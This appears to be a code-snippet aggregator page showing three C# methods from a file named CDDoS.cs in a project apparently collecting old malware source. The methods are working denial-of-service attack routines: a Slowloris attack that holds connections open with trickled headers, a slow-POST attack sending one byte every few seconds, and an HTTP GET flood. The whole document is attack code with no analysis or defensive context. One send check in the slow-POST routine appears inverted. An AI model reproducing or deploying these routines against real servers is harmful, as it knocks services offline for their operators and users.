コード例 #1
0
ファイル: CDDoS.cs プロジェクト: ExByt3s/oldmalwaresourcecode
        void SendSlowloris(CDenialSocket AttackSocket)
        {
            string strBuffer = string.Format(
                "GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\n",
                this.m_strPage, this.m_strHost, CUtils.RandomInt(30, 90)
                );

            byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);

            if (!AttackSocket.SendBuffer(arr_bBuffer))
            {
                return;
            }

            arr_bBuffer = UTF8Encoding.Default.GetBytes("X-a: b\r\n");

            while (this.ShouldAttack())
            {
                if (!AttackSocket.SendBuffer(arr_bBuffer))
                {
                    break;
                }
                Thread.Sleep(100);
            }
        }
コード例 #2
0
ファイル: CDDoS.cs プロジェクト: ExByt3s/oldmalwaresourcecode
        void SendSlowpost(CDenialSocket AttackSocket)
        {
            string strRandomPOSTData = CUtils.RandomString(CUtils.RandomInt(25, 100));

            string strBuffer = string.Format(
                "POST {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\nConnection: close\r\n\r\n",
                this.m_strPage, this.m_strHost, strRandomPOSTData.Length
                );

            byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);

            if (AttackSocket.SendBuffer(arr_bBuffer))
            {
                return;
            }

            foreach (char c in strRandomPOSTData.ToCharArray())
            {
                if (!AttackSocket.SendBuffer(new byte[] { (byte)c }))
                {
                    break;
                }

                Thread.Sleep(CUtils.RandomInt(1000, 3000));
            }
        }
コード例 #3
0
ファイル: CDDoS.cs プロジェクト: ExByt3s/oldmalwaresourcecode
        void SendHttpGet(CDenialSocket AttackSocket)
        {
            string strBuffer = string.Format(
                "GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nConnection: close\r\n\r\n",
                this.m_strPage, this.m_strHost
                );

            byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);

            if (!AttackSocket.SendBuffer(arr_bBuffer))
            {
                return;
            }

            if (CUtils.RandomInt(1, 2) == 2)
            {
                return;
            }

            arr_bBuffer = new byte[8192];

            int iRead = -1;

            while (iRead != 0)
            {
                try
                {
                    iRead = AttackSocket.ClientStream == null?AttackSocket.ClientSocket.Receive(arr_bBuffer) : AttackSocket.ClientStream.Read(arr_bBuffer, 0, arr_bBuffer.Length);
                }
                catch { iRead = 0; }
            }
        }